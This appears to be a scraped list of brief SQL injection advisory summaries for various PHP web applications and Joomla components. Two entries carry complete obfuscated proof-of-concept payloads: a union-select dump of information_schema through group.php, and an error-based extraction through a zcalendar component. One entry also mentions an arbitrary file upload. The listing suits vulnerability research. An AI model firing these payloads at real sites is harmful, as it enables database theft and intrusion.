The vulnerability allows an attacker to inject sql commands into the vulnerable parameter of the application. Proof of Concept examples are provided in the text.
The vulnerability allows an attacker to inject sql commands into vulnerable parameters such as pinDetails.php, boardpage.php, searchpin.php, profilepage.php, etc.
The vulnerability allows an attacker to inject sql commands into the vulnerable parameters of the application. Proof of Concept examples are provided in the text.
The vulnerability allows an attacker to inject sql commands into the vulnerable parameters of the searchSitter.php and searchJob.php scripts.
The vulnerability allows an attacker to inject sql commands into the vulnerable parameter 'grid' in group.php and 'id' in join_group.php. Proof of Concept: http://localhost/[PATH]/group.php?grid=[SQL] -1'+/*!22222union*/+/*!22222select*/+0x31,0x32,0x33,0x34,0x35,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134--+- and http://localhost/[PATH]/join_group.php?id=[SQL].
The vulnerability allows an attacker to inject sql commands into vulnerable parameters in the application. Proof of Concept examples are provided in the text.
The vulnerability allows an attacker to inject sql commands and upload arbitrary file. Customer profile picture arbitrary file can be uploaded.
The vulnerability allows an attacker to inject sql commands into the vulnerable parameter 'searchword' of the 'index.php' file.
The vulnerability allows an attacker to inject sql commands into the vulnerable application. Proof of Concept: http://localhost/[PATH]/index.php/component/calendarplanner/events?searchword=&option=com_calendarplanner&view=events&category_id=[SQL]
The vulnerability allows an attacker to inject sql commands.... Proof of Concept: http://localhost/[PATH]/index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform&user=&eid=[SQL] 1++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)&format=raw
Services By CQR